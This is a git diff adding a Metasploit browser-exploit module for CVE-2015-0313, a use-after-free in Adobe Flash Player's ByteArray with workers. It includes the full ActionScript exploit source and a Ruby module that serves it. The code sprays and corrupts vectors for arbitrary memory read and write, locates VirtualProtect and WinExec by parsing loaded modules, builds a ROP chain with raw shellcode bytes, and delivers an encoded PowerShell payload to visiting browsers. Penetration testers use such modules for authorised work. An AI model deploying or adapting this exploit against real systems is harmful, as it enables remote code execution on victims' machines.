diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf new file mode 100755 index 0000000000..68b0ad0e6b Binary files /dev/null and b/data/exploits/CVE-2015-0313/msf.swf differ diff --git a/external/source/exploits/CVE-2015-0311/Main.as b/external/source/exploits/CVE-2015-0311/Main.as index 9393a0495a..14e211e402 100755 --- a/external/source/exploits/CVE-2015-0311/Main.as +++ b/external/source/exploits/CVE-2015-0311/Main.as @@ -3,6 +3,7 @@ // 2. Be support to support 16.0 as target-player (flex-config.xml). // 3. Download the Flex SDK (4.6) // 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) // 5. Build with: mxmlc -o msf.swf Main.as // Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/ diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as new file mode 100755 index 0000000000..58ed3d2bb5 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Main.as @@ -0,0 +1,207 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Be support to support 16.0 as target-player (flex-config.xml). +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf +package +{ +import flash.display.Sprite +import flash.display.LoaderInfo +import flash.events.Event +import flash.utils.ByteArray +import flash.system.Worker +import flash.system.WorkerDomain +import flash.system.MessageChannel +import flash.system.ApplicationDomain +import avm2.intrinsics.memory.casi32 +import mx.utils.Base64Decoder + +public class Main extends Sprite +{ + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var worker:Worker + private var mc:MessageChannel + private var b64:Base64Decoder = new Base64Decoder() + private var payload:String = "" + + public function Main() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) + payload = b64.toByteArray().toString() + + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = ba + ov[i][1] = this + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + ba.clear() + ov[0] = new Vector.(1022) + mc.send("") + while (mc.messageAvailable); + ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 + ba.length = 0x500000 + var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000 + var main:uint = ov[0][0x409] - 1 + var vtable:uint = vector_read(main) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) + mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString()) + } + + private function onMessage(e:Event):void + { + casi32(0, 1022, 0xFFFFFFFF) + if (ba.length != 0xffffffff) mc.receive() + else { + ba.endian = "littleEndian" + var data:Array = (mc.receive() as String).split("/") + byte_write(parseInt(data[0])) + var buffer:uint = parseInt(data[1]) as uint + var main:uint = parseInt(data[2]) as uint + var vtable:uint = parseInt(data[3]) as uint + var flash:uint = base(vtable) + var ieshims:uint = module("winmm.dll", flash) + var kernel32:uint = module("kernel32.dll", ieshims) + + var virtualprotect:uint = procedure("VirtualProtect", kernel32) + var winexec:uint = procedure("WinExec", kernel32) + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) + + //CoE + byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main + byte_write(0, "\x89\x03", false) // mov [ebx], eax + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + byte_write(buffer+0x200, payload); + byte_write(buffer + 0x20070, xchgeaxespret) + byte_write(buffer + 0x20000, xchgeaxesiret) + byte_write(0, virtualprotect) + + // VirtualProtect + byte_write(0, winexec) + byte_write(0, buffer + 0x30000) + byte_write(0, 0x1000) + byte_write(0, 0x40) + byte_write(0, buffer + 0x100) + + // WinExec + byte_write(0, buffer + 0x30000) + byte_write(0, buffer + 0x200) + byte_write(0) + + byte_write(main, buffer + 0x20000) + toString() + } + } + + private function vector_write(addr:uint, value:uint = 0):void + { + addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value + } + + private function vector_read(addr:uint):uint + { + return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] + } + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } +} +} \ No newline at end of file diff --git a/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb new file mode 100644 index 0000000000..4105acdacc --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_worker_byte_array_uaf.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free', + 'Description' => %q{ + This module exploits an use after free vulnerability in Adobe Flash Player. The + vulnerability occurs when the ByteArray assigned to the current ApplicationDomain + is freed from an ActionScript worker, who can fill the memory and notify the main + thread to corrupt the new contents. This module has been tested successfully on + Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'hdarwin', # Public exploit by @hdarwin89 (all the magic) + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-0313'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'], + ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS_7, + :ua_name => Msf::HttpClients::IE, + :flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' }, + :arch => ARCH_X86 + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Feb 02 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) + b64_payload = Rex::Text.encode_base64(psh_payload) + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end